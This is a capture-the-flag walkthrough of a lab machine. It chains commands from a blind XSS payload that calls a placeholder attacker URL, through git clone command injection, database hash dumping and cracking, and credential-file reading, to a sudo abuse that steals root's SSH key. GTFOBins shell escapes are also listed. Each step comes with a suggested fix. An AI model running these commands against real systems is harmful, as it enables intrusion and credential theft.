FormulaX
Summary
I registered an ordinary account on a public 'chatbot' web app and used its contact form to plant a blind cross-site scripting payload that ran in the administrator's browser, revealing a hidden internal development subdomain. That subdomain hosted a 'Git report generator' that passed my own URLs into a vulnerable Git clone routine, giving remote command execution as the web user.
Application database credentials found on disk led to a cracked weak password for a local account, which held a path to a second local account via lateral credential discovery. That second account could run a document-conversion helper as root through passwordless sudo, which was abused to recover root's SSH private key, and the key was used to log in as root: full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered, for ptest1026>"Some commands also carry a value in angle brackets (<hidden-dev-subdomain>, <kai_relay_password>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 4
Expect only 22/tcp and 80/tcp open.
$ nmap -p- --min-rate=1000 -sV -sC $TARGETReview the client chat logic (socket.io, /user/api/chat).
$ curl -sS http://$TARGET/restricted/chat.jsCreate a normal user account.
$ curl -sS -H 'Content-Type: application/json' -d '{"name":"ptest","email":"ptest1026@chatbot.htb","password":"'"$PASSWORD3"'","confirm_password":"'"$PASSWORD3"'","terms":true}' http://$TARGET/user/api/registerLog in and save the session cookie.
$ curl -sS -c /tmp/formulax.cookie -H 'Content-Type: application/json' -d '{"email":"ptest1026@chatbot.htb","password":"'"$PASSWORD3"'"}' http://$TARGET/user/api/loginFixRestrict anonymous access to internal application source/JS and disable open self-registration where not neededLow
Exact commands 3
My listener to receive the out-of-band XSS callback.
$ python3 -m http.server 80Blind-XSS proof; a GET callback to my listener confirms the admin viewed it. A fuller version loads socket.io and exfiltrates admin chat history to reveal the hidden hostname.
$ curl -sS -b /tmp/formulax.cookie -H 'Content-Type: application/json' --data-binary '{"first_name":"ptest","last_name":"xss","message":"<img src=x onerror=fetch(ATTACKER_URL)>"}' http://$TARGET/user/api/contact_usResolve the hidden subdomain discovered in the exfiltrated admin chat history.
$ echo "$TARGET <hidden-dev-subdomain>" | sudo tee -a /etc/hostsFixSanitize and encode all user-submitted content before admin-side renderingCritical
Exact commands 2
Confirm the form POSTs a destinationUrl field to a /clone endpoint that runs git clone server-side.
$ curl --resolve <hidden-dev-subdomain>:80:$TARGET -sS http://<hidden-dev-subdomain>/index.jsSubmitting a crafted remote URL causes the server-side git clone to execute it; catch the resulting shell on a listener.
$ curl -sS -H 'Content-Type: application/json' -d '{"destinationUrl":"<crafted-git-transport-helper-URL-pointing-at-attacker-listener>"}' http://<hidden-dev-subdomain>/cloneFixPatch simple-git and never pass unsanitized user input into Git clone operationsCritical
Exact commands 4
Www-data: reveals the Mongo connection string and app secret.
$ cat /var/www/app/.envDump stored user documents including bcrypt password hashes.
$ mongo mongodb://localhost:27017/testing --eval 'db.users.find()'Crack the weak employee password offline.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt employee_hash.txtLog in with the cracked credential; cat /home/frank_dorky/user.txt afterward (placeholder: <user.txt>).
$ ssh frank_dorky@$TARGETFixRemove plaintext/weakly-protected credentials from application config and enforce strong passwordsHigh
Exact commands 3
Identify internally bound services only reachable from localhost (ports 3000, 27017, 3306, 8000, 8081, 8082).
$ ss -lntupRead nginx vhost and app config files for embedded credentials.
$ cat /etc/nginx/conf.d/*.conf; cat /opt/*/.env /opt/*/.custom.env 2>/dev/nullLog in with the recovered credential for the second account.
$ ssh kai_relay@$TARGETExact commands 5
Confirm NOPASSWD rights on the office-conversion script.
$ sudo -n -lUse the local app to create an office document the conversion script will process.
$ curl -sS -c /tmp/kaiweb.cookie -H 'Content-Type: application/json' -d '{"email":"kai_relay","password":"<kai_relay_password>"}' http://127.0.0.1:8000/login && curl -sS -b /tmp/kaiweb.cookie http://127.0.0.1:8000/CreateFileRun the root-owned conversion script; crafted input abuses the headless converter to exfiltrate root's SSH private key.
$ sudo -n /usr/bin/office.shValidate the recovered key.
$ ssh-keygen -y -f /tmp/root_id_rsaUse the key to obtain a root shell; placeholder flag: <root.txt>.
$ chmod 600 /tmp/root_id_rsa && ssh -i /tmp/root_id_rsa root@$TARGET 'cat /root/root.txt'FixRemove unnecessary NOPASSWD sudo rights on the document-conversion helperCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.